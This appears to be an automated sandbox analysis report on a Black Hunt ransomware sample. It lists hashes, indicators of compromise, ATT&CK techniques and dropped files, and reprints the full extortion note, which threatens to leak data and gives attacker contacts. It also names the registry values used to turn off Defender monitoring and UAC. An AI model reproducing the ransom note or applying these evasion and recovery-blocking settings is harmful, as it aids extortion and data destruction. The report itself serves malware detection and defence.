a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
19/01/2024, 00:28

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General

Target

a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
Size

707KB
MD5

46756014054d0dee5c8854c051514066
SHA1

ade9e1cf6c5e3aba2297fcdadf52b8ced059d304
SHA256

a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c
SHA512

0234fd6dbf1f4b93a5d6a203ea8d682df514c22d6e21fcb1518931e8ec07adef00244737f31b251330b24c9793300dd753217d3e592cd2d924ef94f66f14a054
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1D8tvnh:6uaTmkZJ+naie5OTamgEoKxLW6Zh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> vitPQJ6SSeR1axd7 </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
564	fsutil.exe
3060	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3384	wevtutil.exe
3536	wevtutil.exe
2856	wevtutil.exe
2580	wevtutil.exe
644	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2628	bcdedit.exe
3224	bcdedit.exe
3184	bcdedit.exe
3520	bcdedit.exe

Renames multiple (2884) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
3728	wbadmin.exe
3900	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
3412	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\Y:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\U:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\I:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\O:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\K:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\L:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\Q:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\R:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\S:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\W:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\H:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\T:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\A:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\J:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\Z:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\V:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\N:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\G:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\X:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\B:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	conhost.exe
File opened (read-only)	\??\P:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\M:	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened (read-only)	\??\M:	fsutil.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-print_zh_CN.jar	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\#BlackHunt_ReadMe.hta	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\DVD Maker\de-DE\#BlackHunt_ReadMe.hta	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationLeft_ButtonGraphic.png	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-masterfs.jar	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\META-INF\MANIFEST.MF	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.di_1.0.0.v20140328-2112.jar	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.services_1.1.0.v20140328-1925.jar	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tet\LC_MESSAGES\#BlackHunt_Private.key	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ne.txt	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\vintage.png	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cgg\#BlackHunt_ReadMe.txt	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Atlantic\Madeira	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Noronha	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jre7\lib\security\blacklist	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\#BlackHunt_ReadMe.txt	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_100_eeeeee_1x100.png	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\cmm\#BlackHunt_ReadMe.txt	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.aup	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\#BlackHunt_Private.key	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\zh-tw.txt	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Godthab	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-host-remote.xml	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-autoupdate-ui.jar	a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe
